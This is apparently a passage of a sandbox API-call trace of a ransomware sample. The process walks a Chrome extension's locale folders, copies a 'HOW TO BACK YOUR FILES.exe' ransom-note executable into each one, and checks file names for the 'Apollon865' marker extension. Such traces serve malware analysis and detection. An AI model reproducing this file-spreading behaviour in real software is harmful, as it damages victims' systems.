	[0048.575] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2eb0 | out: hHeap=0x580000) returned 1
	[0048.575] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0108 | out: hHeap=0x580000) returned 1
	[0048.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja") returned 137
	[0048.575] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja"
	[0048.575] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.575] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.580] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.580] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35060c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35060c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.580] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.580] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.580] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.580] lstrlenW (lpString="messages.json") returned 13
	[0048.580] lstrlenW (lpString="Apollon865") returned 10
	[0048.580] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.580] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw"
	[0048.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d88 | out: hHeap=0x580000) returned 1
	[0048.580] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x580000) returned 1
	[0048.580] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw") returned 137
	[0048.581] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw"
	[0048.581] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.581] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.584] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.584] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35086db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35086db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.585] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.585] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.585] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.585] lstrlenW (lpString="messages.json") returned 13
	[0048.585] lstrlenW (lpString="Apollon865") returned 10
	[0048.585] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.585] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it"
	[0048.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2c60 | out: hHeap=0x580000) returned 1
	[0048.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00c8 | out: hHeap=0x580000) returned 1
	[0048.585] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it") returned 137
	[0048.585] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it"
	[0048.585] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.585] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.591] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35086db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35086db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.592] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.592] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.592] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.592] lstrlenW (lpString="messages.json") returned 13
	[0048.592] lstrlenW (lpString="Apollon865") returned 10
	[0048.592] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.592] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is"
	[0048.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b38 | out: hHeap=0x580000) returned 1
	[0048.592] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is"
	[0048.592] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.592] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.603] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.603] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35086db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35086db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.603] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.603] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.603] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.603] lstrlenW (lpString="messages.json") returned 13
	[0048.603] lstrlenW (lpString="Apollon865") returned 10
	[0048.603] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.603] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id"
	[0048.603] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id"
	[0048.603] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.603] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.608] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.608] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350acf10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350acf10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.608] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.608] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.608] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.608] lstrlenW (lpString="messages.json") returned 13
	[0048.608] lstrlenW (lpString="Apollon865") returned 10
	[0048.608] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.608] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy"
	[0048.608] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy"
	[0048.608] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.608] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.613] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.613] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hy\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ebbce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350acf10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350acf10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.613] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.613] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.613] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.613] lstrlenW (lpString="messages.json") returned 13
	[0048.614] lstrlenW (lpString="Apollon865") returned 10
	[0048.614] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu"
	[0048.614] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu"
	[0048.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.618] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e95b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x350d3070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x350d3070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.618] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.618] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.618] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.619] lstrlenW (lpString="messages.json") returned 13
	[0048.619] lstrlenW (lpString="Apollon865") returned 10
	[0048.619] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.619] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr"
	[0048.619] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr"
	[0048.619] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
